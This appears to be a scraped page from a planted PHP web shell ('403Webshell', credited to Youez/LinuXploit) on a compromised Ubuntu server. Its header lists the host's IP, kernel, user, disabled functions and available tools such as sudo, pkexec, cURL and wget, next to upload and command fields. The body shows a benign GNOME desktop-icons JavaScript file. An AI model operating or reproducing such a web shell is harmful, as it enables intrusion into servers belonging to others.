403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/gnome-shell/extensions/ding@rastersoft.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/gnome-shell/extensions/ding@rastersoft.com/showErrorPopup.js
/* DING: Desktop Icons New Generation for GNOME Shell
 *
 * Copyright (C) 2019 Sergio Costas (rastersoft@gmail.com)
 * Based on code original (C) Carlos Soriano
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, version 3 of the License.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

const Gtk = imports.gi.Gtk;
const Pango = imports.gi.Pango;
const DesktopIconsUtil = imports.desktopIconsUtil;
const Gettext = imports.gettext.domain('ding');

const _ = Gettext.gettext;

var ShowErrorPopup = class {

    constructor(text, secondaryText, parentWindow, modal) {

        this._window = new Gtk.MessageDialog({window_position: Gtk.WindowPosition.CENTER_ON_PARENT,
                                              transient_for: parentWindow,
                                              message_type: Gtk.MessageType.ERROR,
                                              buttons: Gtk.ButtonsType.NONE});
        let labels = this._window.get_message_area().get_children();
        labels[1].set_justify(Gtk.Justification.CENTER);
        this._window.secondary_use_markup = true;
        this._window.text = text;
        this._window.secondary_text = secondaryText;
        DesktopIconsUtil.windowHidePagerTaskbarModal(this._window, true);
        this.deleteButton = this._window.add_button(_("Close"), Gtk.ResponseType.OK);
        this.deleteButton.connect('clicked', () => {
                this._window.hide();
                this._window.destroy();
                this._window = null; 
        });
        this._window.connect('delete-event', () => {
                this._window.destroy();
                this._window = null;
            });
        if (modal) {
            this._window.show();
        }
    }

    run() {
        this._window.show();
        this.timeoutClose(3000);
     }

    async timeoutClose(time) {
        await DesktopIconsUtil.waitDelayMs(time);
        if (this._window) {
            this.deleteButton.activate();
        }
    }
};

Youez - 2016 - github.com/yon3zu
LinuXploit